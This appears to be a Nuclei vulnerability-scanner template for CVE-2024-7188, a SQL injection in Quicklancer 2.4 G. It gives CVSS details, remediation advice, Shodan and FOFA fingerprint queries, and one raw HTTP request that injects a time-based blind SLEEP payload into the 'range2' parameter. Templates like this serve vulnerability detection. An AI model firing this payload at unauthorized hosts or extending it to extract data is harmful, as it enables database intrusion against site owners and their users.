id: CVE-2024-7188

info:
  name: Bylancer Quicklancer 2.4 G - SQL Injection
  author: s4e-io
  severity: high
  description: |
    A SQL injection vulnerability exists in the Quicklancer 2.4, GET parameter 'range2', that has time-based blind SQL injection and a boolean-based blind SQL injection, which can be exploited remotely by unauthenticated attacker to execute arbitrary SQL queries in the database.
  impact: |
    Unauthenticated attackers can exploit time-based and boolean-based blind SQL injection to extract sensitive database information, modify data, and potentially compromise the entire Quicklancer application.
  remediation: |
    Update Quicklancer to a version later than 2.4 G to address the SQL injection vulnerability in the range2 parameter.
  reference:
    - https://cvefeed.io/vuln/detail/CVE-2024-7188
    - https://github.com/bigb0x/CVEs/blob/main/quicklancer-2-4.md
    - https://codecanyon.net/item/quicklancer-freelance-marketplace-php-script/39087135
    - https://nvd.nist.gov/vuln/detail/CVE-2024-7188
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 7.3
    cve-id: CVE-2024-7188
    cwe-id: CWE-89
    epss-score: 0.07016
    epss-percentile: 0.93735
  metadata:
    verified: true
    max-request: 1
    vendor: bylancer
    product: quicklancer
    shodan-query: http.favicon.hash:1099370896
    fofa-query: icon_hash="1099370896"
  tags: time-based-sqli,cve,cve2024,sqli,quicklancer,vuln

http:
  - raw:
      - |
        @timeout 30s
        GET /listing?cat=6&filter=1&job-type=1&keywords=Mr.&location=1&order=desc&placeid=US&placetype=country&range1=1&range2=1)%20AND%20(SELECT%201864%20FROM%20(SELECT(SLEEP(6)))gOGh)%20AND%20(6900=6900&salary-type=1&sort=id&subcat HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "duration>=6"
          - "status_code == 200"
          - 'contains(content_type,"text/html")'
          - 'contains_all(body,"og:site_name","og:locale","range2")'
        condition: and
# digest: 490a0046304402202640c0973ee9445eae37ca298eee343802fb8e35a34201f2b8facdb7bbfaa70002203f0cc88153d1e3e55c99c5c48588372c8e99859a25bbbe1db177911a7d4b984e:922c64590222798bb761d5b6d8e72950